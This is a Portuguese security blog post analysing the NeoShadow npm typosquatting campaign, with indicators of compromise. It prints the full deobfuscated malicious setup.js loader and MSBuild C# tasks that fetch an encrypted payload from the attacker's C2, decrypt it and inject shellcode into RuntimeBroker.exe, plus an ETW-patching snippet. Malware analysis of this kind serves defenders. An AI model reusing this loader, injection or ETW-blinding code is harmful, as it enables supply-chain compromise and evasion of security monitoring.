Aikido

JavaScript, MSBuild e Blockchain: Anatomia do Ataque à Cadeia de Suprimentos npm NeoShadow

Escrito por
Charlie Eriksen

Em 30 de dezembro, um súbito aumento de novos pacotes npm de um único autor chamou nossa atenção. Nosso motor de análise sinalizou vários deles como suspeitos logo após aparecerem. Estamos chamando esta campanha/ator de ameaça de "NeoShadow", com base em um identificador comum visto em seu payload de estágio 2. Os pacotes identificados foram:

  • viem-js
  • cyrpto
  • tailwin
  • supabase-js

Todos foram lançados pelo usuário cjh97123. Todos são pacotes de typo-squatting, o que não é novidade. Mas ficamos intrigados com o malware real que encontramos dentro deles. Não apenas descobrimos que a ofuscação não era facilmente desofuscada por ferramentas comuns, mas também pudemos perceber que o malware estava fazendo coisas bastante inovadoras. Então, nos propusemos a melhorar nossas cadeias de ferramentas de desofuscação mais uma vez e a desvendar este malware.

Estágio 0 - JS Malicioso no npm

A primeira parte de nossa investigação começa com este arquivo de setup, mas esteja avisado: ele logo nos levará a territórios estranhos e maravilhosos. Este arquivo JavaScript, localizado em scripts/setup.js em todos os pacotes, serve como um loader multi-estágio, exclusivo para Windows. Seu comportamento pode ser resumido nas seguintes etapas ordenadas:

1️⃣ Validação de Plataforma e Ambiente

  • 🪟 Confirma a execução em Windows
  • 🧪 Aplica uma heurística anti-análise contando as entradas do Log de Eventos do Sistema Windows
  • 🚫 Encerra precocemente em ambientes de baixa atividade ou semelhantes a sandboxes

2️⃣ Configuração Dinâmica via Blockchain

  • ⛓️ Consulta um smart contract Ethereum usando a API eth_call da Etherscan
  • 📤 Extrai uma string armazenada dinamicamente de dados on-chain
  • 🌐 Trata o valor decodificado como uma URL base de C2
  • 🔁 Recorre a um domínio hardcoded se a consulta na blockchain falhar

3️⃣ Aquisição de Payload Secreto

  • 📡 Solicita um arquivo JavaScript remoto disfarçado de analytics
  • 🫥 Localiza um blob codificado em Base64 oculto dentro de um comentário em bloco
  • 📦 Usa o comentário apenas como um Container de payload, não como código executável

4️⃣ Execução Living-off-the-Land (MSBuild)

  • 🛠️ Escreve um temporário projeto MSBuild (.proj) arquivo
  • 🧬 Incorpora código C# inline usando CodeTaskFactory
  • 🚫 Executa sem descartar ou compilar um executável autônomo
  • 🧾 Depende de um binário confiável do Windows (MSBuild.exe)

5️⃣ Descriptografia de Payload

  • 🔐 Decodifica o payload Base64
  • 🔑 Deriva uma chave RC4 aplicando máscara XOR nos primeiros 16 bytes
  • 🔓 Descriptografa o payload restante na memória

6️⃣ Injeção e Execução de Processo

  • 🧠 Inicia RuntimeBroker.exe em estado suspenso
  • 💉 Aloca memória no processo remoto
    ✍️ Escreve o shellcode descriptografado
  • ⚡ Executa via APC injection (QueueUserAPC + ResumeThread)

7️⃣ Implantação de Artefato Secundário

  • 📥 Opcionalmente baixa um arquivo de configuração subsequente
  • 📁 Persiste-o em: %APPDATA%\Microsoft\CLR\config.proj

É bastante. Se você estiver curioso, aqui está o código real após nossa desobfuscação:

const {
  execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
  if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
  const _0x40ca65 = require("https");
  return new Promise(_0x18a121 => {
    _0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
      const _0x5a6f92 = {
        xSUuD: function (_0x8e23dc, _0x473cc1) {
          return _0x8e23dc !== _0x473cc1;
        },
        kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
          return _0x291b51(_0x45ee39, _0x314df2);
        },
        TSNUY: function (_0x551c1c, _0xa10773) {
          return _0x551c1c * _0xa10773;
        },
        IxNWN: function (_0x5bf459, _0x3b5803) {
          return _0x5bf459 < _0x3b5803;
        },
        TNyat: function (_0x2a4142, _0x55bc29) {
          return _0x2a4142 + _0x55bc29;
        },
        jmkEP: "http",
        bpmxg: function (_0x596591, _0x2230d0) {
          return _0x596591(_0x2230d0);
        }
      };
      let _0x44c1fc = "";
      _0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
      _0xc12477.on("end", () => {
        try {
          const _0x19ede0 = JSON.parse(_0x44c1fc);
          if (_0x19ede0.result && _0x19ede0.result !== "0x") {
            const _0x501fdb = _0x19ede0.result.slice(2);
            const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
            const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
            let _0x2d977d = "";
            for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
              _0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
            }
            if (_0x2d977d.startsWith("http")) {
              _0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
              return;
            }
          }
        } catch (_0x34b9f3) {}
        _0x18a121(null);
      });
    }).on("error", () => _0x18a121(null));
  });
}
function a0_0x1c5097() {
  if (a0_0x363405.platform() !== "win32") return false;
  try {
    const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
      encoding: "utf8",
      windowsHide: true,
      timeout: 10000
    }).trim();
    return parseInt(_0x5962fa, 10) >= 3000;
  } catch (_0x3c40cc) {
    return false;
  }
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
  const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
  const _0x1d3b60 = a0_0x363405.tmpdir();
  const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
  a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n    byte[] s = new byte[256];\n    for (int i = 0; i < 256; i++) s[i] = (byte)i;\n    int j = 0;\n    for (int i = 0; i < 256; i++) {\n        j = (j + s[i] + key[i % key.Length]) & 0xFF;\n        byte t = s[i]; s[i] = s[j]; s[j] = t;\n    }\n    byte[] o = new byte[data.Length];\n    int x = 0, y = 0;\n    for (int k = 0; k < data.Length; k++) {\n        x = (x + 1) & 0xFF;\n        y = (y + s[x]) & 0xFF;\n        byte t = s[x]; s[x] = s[y]; s[y] = t;\n        o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n    }\n    return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n    byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n    byte[] key = new byte[16];\n    for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n    byte[] enc = new byte[payload.Length - 16];\n    Array.Copy(payload, 16, enc, 0, enc.Length);\n    return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
  try {
    a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
      windowsHide: true,
      timeout: 30000,
      stdio: "ignore"
    });
  } catch (_0x48f097) {}
  try {
    a0_0x651569.unlinkSync(_0x112a23);
  } catch (_0x245ac6) {}
  return true;
}
async function a0_0x46b335() {
  if (a0_0x363405.platform() !== "win32") return;
  if (!a0_0x1c5097()) return;
  try {
    const _0x2186b3 = require("https");
    let _0x6212ce = await a0_0x2da91a();
    if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
    if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
    const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
    const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
      _0x2186b3.get(_0xe78890, _0x891520 => {
        let _0x470b55 = "";
        _0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
        _0x891520.on("end", () => _0x3a7450(_0x470b55));
      }).on("error", _0x340a89);
    });
    const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
    if (!_0x168fcf || !_0x168fcf[1]) return;
    a0_0x218fb4(_0x168fcf[1], _0x6212ce);
  } catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});

Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Estágio 1 - Que MSBuild é esse? 

Uma coisa que você notará no código é que ele tenta obter o arquivo _next/data/config.json do domínio C2. Então eu o obtive, e ele retornou uma versão melhor do script MSBuild:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);

static byte[] RC4(byte[] data, byte[] key) {
    byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
    int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
    byte[] o = new byte[data.Length]; int x = 0, y = 0;
    for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
    return o;
}

static string GetC2FromEth(string contract, string apiKey) {
    if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
    try {
        var w = new WebClient();
        var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
        var json = w.DownloadString(url);
        var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
        if (!m.Success) return null;
        var hex = m.Groups[1].Value.Substring(2);
        if (hex.Length < 130) return null;
        var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
        if (strLen <= 0 || strLen > 500) return null;
        var strHex = hex.Substring(128, strLen * 2);
        var chars = new char[strLen];
        for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
        var c2 = new string(chars);
        return c2.StartsWith("http") ? c2 : null;
    } catch { return null; }
}

public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;

var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);

SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>

Isso nos permite ver a lógica com mais clareza. É uma abordagem inovadora usar MSBuild e código C#. Assim como na outra versão, ele tenta baixar o payload de https://metrics-flow[.]com/assets/js/analytics.min.js e descriptografá-lo com uma chave RC4. 

Estágio 2 - Análise de shellcode

Neste ponto, ficamos naturalmente curiosos sobre o que justificava o esforço por trás de um mecanismo de entrega tão inovador. Após descriptografar o payload, descobrimos que ele continha shellcode, como esperado. 

Ao analisar os bytes brutos do payload descriptografado, dois nomes imediatamente nos chamaram a atenção: NeoShadowV2DeriveKey2026 e Global\NSV2_8e4b1d. A ligação entre eles é difícil de ignorar. NS é uma abreviação natural para NeoShadow, e ambas as strings compartilham o mesmo V2 marcador. Juntos, estes não parecem acidentais ou genéricos; eles se assemelham a rótulos internos dos autores. Com base nesta consistência, nos referimos ao ator de ameaça por trás desta atividade como NeoShadow. Ver a mesma nomenclatura aparecer em rotinas criptográficas e controles de execução confere ao malware uma identidade clara e sugere um conjunto de ferramentas deliberadamente versionado e ativamente mantido, em vez de um experimento isolado.

Em seguida, executamos o shellcode através do Binary Ninja, que imediatamente produziu uma versão C semi-legível. Apenas.. São 4000 linhas de C feio. 🥹

Então, alimentamos isso ao Claude para obter uma versão mais limpa. E, de fato, ele gerou uma versão do código C de 1900 linhas, agradável e legível. Isso nos leva à próxima parte da nossa aventura.

Estágio 3 - Um rato na build

O payload final é um backdoor completo projetado para acesso de longo prazo. Uma vez em execução, ele entra em um loop de beacon, verificando o servidor C2, reportando informações do sistema e buscando comandos. O implante é leve por design: ele estabelece acesso e fornece uma primitiva de execução, enquanto toda a funcionalidade de pós-exploração é enviada como módulos descartáveis.

Comportamento do Beacon

  • 📡 Envia check-ins criptografados via HTTPS POST
  • 🪪 Inclui fingerprint do host: nome do computador, nome de usuário, ID do agente
  • 🔀 Randomiza caminhos de URL para mimetizar tráfego legítimo (/assets/js/, /api/v1/, /wp-content/, etc.)
  • 🏳️‍🌈 Marca requisições com o X-Agent-Id header para rastreamento da vítima
  • ⏲️ Suporta intervalo de sleep configurável com jitter (padrão 20%)

Criptografia

Todo o tráfego C2 é criptografado com ChaCha20, uma cifra de fluxo preferida por sua velocidade e segurança. As chaves são estabelecidas via Curve25519 ECDH. 

Conjunto de Comandos

Os operadores têm três comandos à sua disposição:

sleep
  • ⏱️ Ajusta o intervalo do beacon em tempo real
  • 🔇 Permite que os operadores fiquem em silêncio durante as fases de persistência ou acelerem para engajamento ativo
módulo
  • 🌐 Busca o payload de uma URL
  • 📦 Se for uma DLL: localiza ReflectiveLoader exporta, injeta sem tocar no disco
  • 💉 Se for shellcode: injeta diretamente em RuntimeBroker.exe via injeção APC
  • 🧰 Mecanismo principal para a implantação de ferramentas de pós-exploração 
injetar
  • 🔧 Aceita shellcode codificado em base64 diretamente no comando
  • 🔒 Mantém tudo dentro do canal C2 criptografado
  • ⚡ Mesmo caminho de injeção que o módulo, apenas sem o fetch de rede

Tratamento de Resposta

  • ✅ Retorna OK ou DLL OK em caso de sucesso
  • ❌ Erros descritivos: Error: alloc, Error: fetch, Error: decode, Error: inject, Error: not PE
  • 📤 DLLs injetadas podem escrever em um buffer compartilhado que é exfiltrado na resposta
  • 🔁 Toda a comunicação usa a mesma criptografia ChaCha20 que o beacon

Este pequeno e minimalista Trojan de Acesso Remoto (RAT) é bastante engenhoso. Sua única função é estabelecer um link C2 persistente e atuar como um carregador de primeira fase para malwares mais potentes. Isso fornece aos atacantes um ponto de entrada flexível e discreto para implantar ferramentas secundárias (por exemplo, keyloggers ou ransomware) e escalar o ataque à vontade.

Recursos interessantes

O malware contém alguns recursos engenhosos para tentar se esconder e seu servidor C2, que descrevemos abaixo. 

🙈Cegando o Host: Patching de ETW

Event Tracing for Windows é o sistema nervoso da telemetria moderna do Windows. Quando um assembly .NET é carregado, o ETW o detecta. Quando o PowerShell executa um bloco de script, o ETW o registra. Quando um processo é iniciado, um thread é criado, uma DLL é carregada, uma conexão de rede é estabelecida, eventos ETW são emitidos e produtos de segurança os consomem. Plataformas de segurança, incluindo soluções de detecção e resposta de endpoint (EDR) e ferramentas SIEM, dependem fortemente do ETW para detecção. Desabilitar o ETW prejudica gravemente a visibilidade dessas ferramentas de segurança. Note que esta não é uma técnica nova; ela é bem conhecida há anos.

O implante faz exatamente isso. Antes de estabelecer comunicações C2 ou realizar qualquer atividade suspeita, ele localiza NtTraceEvent em ntdll.dll, a função de baixo nível pela qual toda a emissão de eventos ETW eventualmente passa. Ele resolve o endereço através de sua resolução de API padrão baseada em hash (hash 0xDECFC1BF), então chama VirtualProtect para tornar a memória da função gravável:

char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);

DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);

Com acesso de escrita em mãos, ele sobrescreve os primeiros quatro bytes da função com um stub simples que retorna sucesso sem fazer nada:

// Before patching
NtTraceEvent:
    4c 8b d1          mov r10, rcx
    b8 XX XX 00 00    mov eax, <syscall#>
    0f 05             syscall
    c3                ret

// After patching  
NtTraceEvent:
    48 33 c0          xor rax, rax    ; rax = 0 (STATUS_SUCCESS)
    c3                ret              ; return immediately

É isso. Quatro bytes, 48 33 C0 C3, e todo evento ETW no sistema para de ser disparado. A função retorna STATUS_SUCCESS para que os chamadores não apresentem erros ou tentem novamente, mas nenhum evento chega ao kernel. Produtos de segurança que consultam provedores ETW recebem silêncio.

🙈Camuflagem de Servidor C2

Então, verificamos o domínio C2 metrics-flow[.]com, e demos boas risadas da tentativa dos atacantes de se camuflarem. Eles construíram uma camada inteligente de segurança projetada para despistar ferramentas automatizadas e pesquisadores humanos. Ao acessar a página principal, você não obtém o mesmo conteúdo duas vezes. Em vez disso, o servidor entrega um conjunto completamente aleatório de conteúdo falso, fazendo com que pareça um site totalmente normal e não malicioso. Muito astuto, e isso facilitará a identificação dos servidores C2 para pesquisadores no futuro. 😀

Domínio C2

O domínio C2 foi registrado aproximadamente na mesma época em que o malware foi publicado pela primeira vez no npm, em 30 de dezembro de 2025, conforme visto nas informações do whois:

Alterações da Versão 2

Toda a análise até este ponto é baseada na versão implantada em 30 de dezembro de 2025. Outra versão dos pacotes foi implantada em 2 de janeiro de 2026. A mudança mais notável é que um executável do Windows, analytics.node, também está incluído. Notamos que nenhum AV no VirusTotal o detectou como malicioso:

https://www.virustotal.com/gui/file/012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07/detection

Além disso, o arquivo JavaScript foi ofuscado de forma diferente e é mais desafiador de desofuscar do que a versão original, com o que parecem ser novas técnicas de ofuscação incluídas na versão. 

Também obtemos outra referência ao projeto sendo chamado NeoShadow: C:\\Users\\admin\\Desktop\\NeoShadow\\core\\loader\\native\\build\\Release\\analytics.pdb

Conclusão 

No momento, não tentamos recuperar um payload dinâmico do servidor C2. No entanto, vimos claramente uma tentativa bem-engenheirada de entregar o que acreditamos ser um malware novo como parte de uma campanha maior e anteriormente indocumentada, que construiu seu próprio servidor C2, RAT, mecanismo de entrega e técnicas de camuflagem para ocultar seu servidor C2. 

🚨 Indicadores de comprometimento

  • Domínio: metrics-flow[.]com
  • Endereço IP: 80.78.22[.]206
  • Binário012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07
  • Endereço Ethereum: 0x13660FD7Edc862377e799b0Caf68f99a2939B5cC
  • Nome do Mutex: Global\NSV2_8e4b1d
  • Pacotes NPM:
    • viem-js
    • cyrpto
    • tailwin
    • supabase-js

Compartilhar:

https://www.aikido.dev/blog/neoshadow-npm-supply-chain-attack-javascript-msbuild-blockchain

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.